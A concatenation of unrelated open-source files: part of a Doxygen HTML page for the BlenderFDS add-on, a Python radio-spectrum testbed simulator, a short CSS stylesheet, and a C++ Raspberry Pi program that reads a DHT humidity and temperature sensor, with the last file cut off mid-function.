<tr class="separator:a6ef98ac87cd62c320178cfa6e4402627 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a5f3d6542fbe27797d910ee8fa8e04ff4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a5f3d6542fbe27797d910ee8fa8e04ff4"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a5f3d6542fbe27797d910ee8fa8e04ff4">fds_default</a> = None</td></tr>
<tr class="memdesc:a5f3d6542fbe27797d910ee8fa8e04ff4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">FDS default value. <br /></td></tr>
<tr class="separator:a5f3d6542fbe27797d910ee8fa8e04ff4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a3c9e16d71139a4dbe53551ea0526d160 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a3c9e16d71139a4dbe53551ea0526d160">bpy_type</a> = None</td></tr>
<tr class="memdesc:a3c9e16d71139a4dbe53551ea0526d160 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">type in bpy.types for Blender property, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a3c9e16d71139a4dbe53551ea0526d160">More...</a><br /></td></tr>
<tr class="separator:a3c9e16d71139a4dbe53551ea0526d160 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a6fcc37b221e26e4616f9df43532c3ee3 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6fcc37b221e26e4616f9df43532c3ee3">bpy_idname</a> = None</td></tr>
<tr class="memdesc:a6fcc37b221e26e4616f9df43532c3ee3 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">idname of related bpy.types Blender property, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6fcc37b221e26e4616f9df43532c3ee3">More...</a><br /></td></tr>
<tr class="separator:a6fcc37b221e26e4616f9df43532c3ee3 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a2a2b2bc95351a7731fb07c1a563595c4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2a2b2bc95351a7731fb07c1a563595c4">bpy_prop</a> = None</td></tr>
<tr class="memdesc:a2a2b2bc95351a7731fb07c1a563595c4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">prop in bpy.props of Blender property, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2a2b2bc95351a7731fb07c1a563595c4">More...</a><br /></td></tr>
<tr class="separator:a2a2b2bc95351a7731fb07c1a563595c4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a18430cc42f28654684550f350dd9a8bf inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a18430cc42f28654684550f350dd9a8bf"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a18430cc42f28654684550f350dd9a8bf">bpy_default</a> = None</td></tr>
<tr class="memdesc:a18430cc42f28654684550f350dd9a8bf inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Blender property default. <br /></td></tr>
<tr class="separator:a18430cc42f28654684550f350dd9a8bf inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a211719404867f7599db3ba74d3a65722 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">dictionary </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a211719404867f7599db3ba74d3a65722">bpy_other</a> = {}</td></tr>
<tr class="memdesc:a211719404867f7599db3ba74d3a65722 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Other optional Blender property parameters, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a211719404867f7599db3ba74d3a65722">More...</a><br /></td></tr>
<tr class="separator:a211719404867f7599db3ba74d3a65722 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a795d61dfa90d6821e7edb4c2c9d8fa48 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a795d61dfa90d6821e7edb4c2c9d8fa48"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a795d61dfa90d6821e7edb4c2c9d8fa48">bpy_export</a> = None</td></tr>
<tr class="memdesc:a795d61dfa90d6821e7edb4c2c9d8fa48 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">idname of export toggle Blender property <br /></td></tr>
<tr class="separator:a795d61dfa90d6821e7edb4c2c9d8fa48 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ad8a46f67ce9ff39a5552c92125dbaaa5 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="ad8a46f67ce9ff39a5552c92125dbaaa5"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ad8a46f67ce9ff39a5552c92125dbaaa5">bpy_export_default</a> = None</td></tr>
<tr class="memdesc:ad8a46f67ce9ff39a5552c92125dbaaa5 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">default value for export toggle Blender property <br /></td></tr>
<tr class="separator:ad8a46f67ce9ff39a5552c92125dbaaa5 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="inherited"></a>
Additional Inherited Members</h2></td></tr>
<tr class="inherit_header pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classblenderfds28x_1_1types_1_1_b_f_param')"><img src="closed.png" alt="-"/> Public Member Functions inherited from <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html">blenderfds28x.types.BFParam</a></td></tr>
<tr class="memitem:a8efc7ab9fffcdd0d835ea917b1924be6 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a8efc7ab9fffcdd0d835ea917b1924be6">__init__</a> (self, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a1499112e560d84365ab6c9e2f1d31c2d">element</a>)</td></tr>
<tr class="memdesc:a8efc7ab9fffcdd0d835ea917b1924be6 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Class constructor. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a8efc7ab9fffcdd0d835ea917b1924be6">More...</a><br /></td></tr>
<tr class="separator:a8efc7ab9fffcdd0d835ea917b1924be6 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae0c66c5c12a1b4c72bc93f74a84abe20 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="ae0c66c5c12a1b4c72bc93f74a84abe20"></a>
def </td><td class="memItemRight" valign="bottom"><b>__str__</b> (self)</td></tr>
<tr class="separator:ae0c66c5c12a1b4c72bc93f74a84abe20 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ab5852cd70335554f85806fcefef0d771 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ab5852cd70335554f85806fcefef0d771">register</a> (cls)</td></tr>
<tr class="memdesc:ab5852cd70335554f85806fcefef0d771 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Register related Blender properties. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#ab5852cd70335554f85806fcefef0d771">More...</a><br /></td></tr>
<tr class="separator:ab5852cd70335554f85806fcefef0d771 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a0ee61af37cdd1b0bb30b3dce209cda0e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a0ee61af37cdd1b0bb30b3dce209cda0e">unregister</a> (cls)</td></tr>
<tr class="memdesc:a0ee61af37cdd1b0bb30b3dce209cda0e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Unregister related Blender properties. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a0ee61af37cdd1b0bb30b3dce209cda0e">More...</a><br /></td></tr>
<tr class="separator:a0ee61af37cdd1b0bb30b3dce209cda0e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae9f8b07a71271cb2898d153738ecda23 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a> (self)</td></tr>
<tr class="memdesc:ae9f8b07a71271cb2898d153738ecda23 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Return value from element instance. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">More...</a><br /></td></tr>
<tr class="separator:ae9f8b07a71271cb2898d153738ecda23 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a51e5ded728a4314395ba4bae92b30ca7 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a51e5ded728a4314395ba4bae92b30ca7">set_value</a> (self, context, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a>=None)</td></tr>
<tr class="memdesc:a51e5ded728a4314395ba4bae92b30ca7 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Set element instance value. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a51e5ded728a4314395ba4bae92b30ca7">More...</a><br /></td></tr>
<tr class="separator:a51e5ded728a4314395ba4bae92b30ca7 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a737fbb0cc450d97cd6b48a2bf8b4574e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a737fbb0cc450d97cd6b48a2bf8b4574e"></a>
def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a737fbb0cc450d97cd6b48a2bf8b4574e">exported</a> (self)</td></tr>
<tr class="memdesc:a737fbb0cc450d97cd6b48a2bf8b4574e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Return True if self is exported to FDS. <br /></td></tr>
<tr class="separator:a737fbb0cc450d97cd6b48a2bf8b4574e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aa82dd597f64a88b0682a6be0c636f38f inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa82dd597f64a88b0682a6be0c636f38f">set_exported</a> (self, context, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a>=None)</td></tr>
<tr class="memdesc:aa82dd597f64a88b0682a6be0c636f38f inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Set if self is exported to FDS. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa82dd597f64a88b0682a6be0c636f38f">More...</a><br /></td></tr>
<tr class="separator:aa82dd597f64a88b0682a6be0c636f38f inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a2e8bc8bae595dbae2f7882e3cfb02d72 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2e8bc8bae595dbae2f7882e3cfb02d72">check</a> (self, context)</td></tr>
<tr class="memdesc:a2e8bc8bae595dbae2f7882e3cfb02d72 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Check self validity for FDS, in case of error raise BFException. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2e8bc8bae595dbae2f7882e3cfb02d72">More...</a><br /></td></tr>
<tr class="separator:a2e8bc8bae595dbae2f7882e3cfb02d72 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ad70cbf4f9f17fd93a8c53321fae15c24 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ad70cbf4f9f17fd93a8c53321fae15c24">draw_operators</a> (self, context, layout)</td></tr>
<tr class="memdesc:ad70cbf4f9f17fd93a8c53321fae15c24 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Draw my operators on layout. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#ad70cbf4f9f17fd93a8c53321fae15c24">More...</a><br /></td></tr>
<tr class="separator:ad70cbf4f9f17fd93a8c53321fae15c24 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a54c1a5639924d9d6a9e72af39d50a364 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a54c1a5639924d9d6a9e72af39d50a364">draw</a> (self, context, layout)</td></tr>
<tr class="memdesc:a54c1a5639924d9d6a9e72af39d50a364 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Draw my UI on layout. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a54c1a5639924d9d6a9e72af39d50a364">More...</a><br /></td></tr>
<tr class="separator:a54c1a5639924d9d6a9e72af39d50a364 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a82ab718911681a65dffbfc50a446ea9c inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a82ab718911681a65dffbfc50a446ea9c">to_fds_param</a> (self, context)</td></tr>
<tr class="memdesc:a82ab718911681a65dffbfc50a446ea9c inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Return the <a class="el" href="classblenderfds28x_1_1types_1_1_f_d_s_param.html" title="Datastructure representing an FDS parameter.">FDSParam</a> representation of element instance. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a82ab718911681a65dffbfc50a446ea9c">More...</a><br /></td></tr>
<tr class="separator:a82ab718911681a65dffbfc50a446ea9c inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aa5840aa7c47163adb3c4f3a575a91abe inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa5840aa7c47163adb3c4f3a575a91abe">from_fds</a> (self, context, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a>)</td></tr>
<tr class="memdesc:aa5840aa7c47163adb3c4f3a575a91abe inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Set self.value from py value, on error raise BFException. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa5840aa7c47163adb3c4f3a575a91abe">More...</a><br /></td></tr>
<tr class="separator:aa5840aa7c47163adb3c4f3a575a91abe inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:adca91de2412fadd1dd630c8c692ee801 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#adca91de2412fadd1dd630c8c692ee801">copy_to</a> (self, dest_element)</td></tr>
<tr class="memdesc:adca91de2412fadd1dd630c8c692ee801 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Copy self values to destination element. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#adca91de2412fadd1dd630c8c692ee801">More...</a><br /></td></tr>
<tr class="separator:adca91de2412fadd1dd630c8c692ee801 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="inherit_header pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td colspan="2" onclick="javascript:toggleInherit('pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param')"><img src="closed.png" alt="-"/> Public Attributes inherited from <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html">blenderfds28x.types.BFParam</a></td></tr>
<tr class="memitem:a1499112e560d84365ab6c9e2f1d31c2d inherit pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a1499112e560d84365ab6c9e2f1d31c2d"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a1499112e560d84365ab6c9e2f1d31c2d">element</a></td></tr>
<tr class="memdesc:a1499112e560d84365ab6c9e2f1d31c2d inherit pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">FDS element represented by this class instance. <br /></td></tr>
<tr class="separator:a1499112e560d84365ab6c9e2f1d31c2d inherit pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><p>Blender representation to set if XB shall be exported to FDS. </p>
</div><hr/>The documentation for this class was generated from the following file:<ul>
<li>/home/egissi/github/firetools/blenderfds28x/lang.py</li>
</ul>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.17
</small></address>
</body>
</html>
| firetools/blenderfds | docs/html/classblenderfds28x_1_1lang_1_1_o_p___x_b__export.html | HTML | gpl-3.0 | 34,769 |
# Copyright (C) 2015 SensorLab, Jozef Stefan Institute http://sensorlab.ijs.si
#
# Written by Tomaz Solc, [email protected]
#
# This work has been partially funded by the European Community through the
# 7th Framework Programme project CREW (FP7-ICT-2009-258301).
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see http://www.gnu.org/licenses/
import logging
import Queue
import random
import time
from spectrumwars.testbed import TestbedBase, RadioBase, RadioTimeout, RadioError, TestbedError, RadioPacket
log = logging.getLogger(__name__)
class Radio(RadioBase):
RECEIVE_TIMEOUT = 2.
def __init__(self, addr, dispatcher, send_delay):
super(Radio, self).__init__()
self.addr = addr
self.neighbor = None
self.dispatcher = dispatcher
self.q = Queue.Queue()
self.frequency = 0
self.bandwidth = 0
self.send_delay = send_delay
def _recv(self, addr, bindata, frequency, bandwidth):
if self.frequency == frequency and self.bandwidth == bandwidth and self.addr == addr:
self.q.put(bindata)
def set_configuration(self, frequency, bandwidth, power):
self.frequency = frequency
self.bandwidth = bandwidth
def binsend(self, bindata):
self.dispatcher(self.neighbor, bindata, self.frequency, self.bandwidth)
time.sleep(self.send_delay)
def binrecv(self, timeout=None):
if timeout is None:
timeout = self.RECEIVE_TIMEOUT
try:
bindata = self.q.get(True, timeout)
except Queue.Empty:
raise RadioTimeout
else:
return bindata
class Testbed(TestbedBase):
RADIO_CLASS = Radio
def __init__(self, send_delay=.1, frequency_range=64, bandwidth_range=10, power_range=10, packet_size=1024):
self.send_delay = float(send_delay)
self.frequency_range = int(frequency_range)
self.bandwidth_range = int(bandwidth_range)
self.power_range = int(power_range)
self.RADIO_CLASS.PACKET_SIZE = int(packet_size) + 1
self.radios = []
# for each channel, we keep the timestamp of the last
# transmission. we use this for simulated spectrum sensing and
# for detecting collisions.
self.channels = [0] * self.frequency_range
self.i = 0
def _get_radio(self):
r = Radio(self.i, self._dispatcher, self.send_delay)
self.radios.append(r)
self.i += 1
return r
def _dispatcher(self, addr, bindata, frequency, bandwidth):
now = self.time()
has_collision = (now - self.channels[frequency]) > self.send_delay
self.channels[frequency] = now
if has_collision:
# note that when packets collide, the first one goes
# through while the later ones fail. this is different
# than in reality: all should fail. But this would
# be complicated to implement in practice.
for radio in self.radios:
radio._recv(addr, bindata, frequency, bandwidth)
else:
log.debug("packet collision detected on channel %d" % (frequency,))
def get_radio_pair(self):
dst = self._get_radio()
src = self._get_radio()
dst.neighbor = src.addr
src.neighbor = dst.addr
return dst, src
def get_spectrum(self):
spectrum = []
now = self.time()
for time in self.channels:
if now - time < .5:
p = random.randint(-40, -20)
else:
p = random.randint(-90, -80)
spectrum.append(p)
return tuple(spectrum)
def get_frequency_range(self):
return self.frequency_range
def get_bandwidth_range(self):
return self.bandwidth_range
def get_power_range(self):
return self.power_range
| avian2/spectrumwars | controller/spectrumwars/testbed/simulation.py | Python | gpl-3.0 | 3,927 |
body, html{
margin: 0;
background: #fff;
}
h1{
font-size: 4em;
text-align: center;
font-family: sans-serif;
vertical-align: middle;
}
p{
font-size: 2em;
font-family: serif;
color: green;
text-align: center;
vertical-align: middle;
}
#only_section{
vertical-align: middle;
}
| Aldos11/Project | main.css | CSS | gpl-3.0 | 289 |
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <bcm2835.h>
#include <unistd.h>
#include <iostream>
//#define BCM2708_PERI_BASE 0x20000000
#define BCM2708_PERI_BASE 0x3F000000
#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) /* GPIO controller */
#define MAXTIMINGS 100
#define PIN_DHT 4 //GPIO Mapping DHT Sensor
#define PIN_LED RPI_GPIO_P1_12 //GPIO Mapping LED
//#define DEBUG
using namespace std;
int readDHT(int pin, float *humid0, float *temp0);
int cosmput(float humid, float temp, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name);
int readconfig(char *pFileName, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name);
int main(int argc, char **argv) {
long cnt = 1;
if(argc > 1){
cnt = atol(argv[1]);
}
int dhtpin = PIN_DHT;
int ledpin = PIN_LED;
float humid0, temp0, ahumid, atemp,otemp = 0;
int feedid = 0;
char key[100];
char feed_name[100];
char field0_name[100];
char field1_name[100];
// char pFileName[]="config.ini";
// readconfig(pFileName, &feedid, key, feed_name, field0_name, field1_name);
if (!bcm2835_init())
return 1;
bcm2835_gpio_fsel(ledpin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(ledpin, HIGH); //LED an
fprintf(stderr,"Using pin #%d\n", dhtpin);
while(cnt > 0) {
ahumid = atemp = 0.0;
for (int i=0; i< 5; i++) { // Mittelwert bilden, um "zittern" der Kurve zu minimieren
readDHT(dhtpin, &humid0, &temp0);
ahumid = ahumid + humid0;
atemp = atemp + temp0;
sleep(1);
}
ahumid = ahumid / 5;
atemp = atemp / 5;
if(ahumid < 5 || atemp < 5 || ahumid >100 || atemp > 100)// || (otemp > 0 && (atemp < otemp - 5 || atemp > otemp +5))){
{
fprintf(stderr,"Invalid values. Still calibrating?\n");
continue;
}
time_t tr = time(NULL);
//char *t = asctime(localtime(&tr));
cnt--;
printf("TIME=%d\nTEMP=%0.1f\nHUMID=%0.1f\n", tr, atemp, ahumid);
otemp = atemp;
//cosmput(ahumid, atemp, &feedid, key, feed_name, field0_name, field1_name);
}
bcm2835_gpio_fsel(ledpin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(ledpin, LOW); //LED aus
return 0;
} // main
int readDHT(int pin, float *humid0, float *temp0) {
int counter = 0;
int laststate = HIGH;
int j=0;
int bits[250], data[100];
int bitidx = 0;
// Set GPIO pin to output
bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(pin, HIGH);
usleep(500000); // 500 ms
bcm2835_gpio_write(pin, LOW);
usleep(20000);
bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT);
data[0] = data[1] = data[2] = data[3] = data[4] = 0;
// wait for pin to drop?
while (bcm2835_gpio_lev(pin) == 1) {
usleep(1);
}
// read data!
for (int i=0; i< MAXTIMINGS; i++) {
counter = 0;
while ( bcm2835_gpio_lev(pin) == laststate) {
counter++;
//nanosleep(1); // overclocking might change this?
if (counter == 1000)
break;
}
laststate = bcm2835_gpio_lev(pin);
if (counter == 1000) break;
bits[bitidx++] = counter;
if ((i>3) && (i%2 == 0)) {
// shove each bit into the storage bytes
data[j/8] <<= 1;
if (counter > 200)
data[j/8] |= 1;
j++;
}
}
#ifdef DEBUG
for (int i=3; i<bitidx; i+=2) {
printf("bit %d: %d\n", i-3, bits[i]);
printf("bit %d: %d (%d)\n", i-2, bits[i+1], bits[i+1] > 200);
}
printf("Data (%d): 0x%x 0x%x 0x%x 0x%x 0x%x\n", j, data[0], data[1], data[2], data[3], data[4]);
#endif
if ((j >= 39) && (data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) { // yay!
float f, h;
h = data[0] * 256 + data[1];
h /= 10;
f = (data[2] & 0x7F)* 256 + data[3];
f /= 10.0;
if (data[2] & 0x80) {
f *= -1;
}
//printf("Temp = %.1f *C, Hum = %.1f \%\n", f, h);
*humid0 = h;
*temp0 = f;
}
return 0;
}
int cosmput(float humid, float temp, int *feedid, char *key, char *feed_name, char *field0_name, char *field1_name) {
// CURL *curl;
// CURLcode res;
char xapikey[60];
sprintf(xapikey, "X-ApiKey: %s",key);
char url[50];
sprintf(url, "http://api.cosm.com/v2/feeds/%d.json", *feedid);
char payload[200];
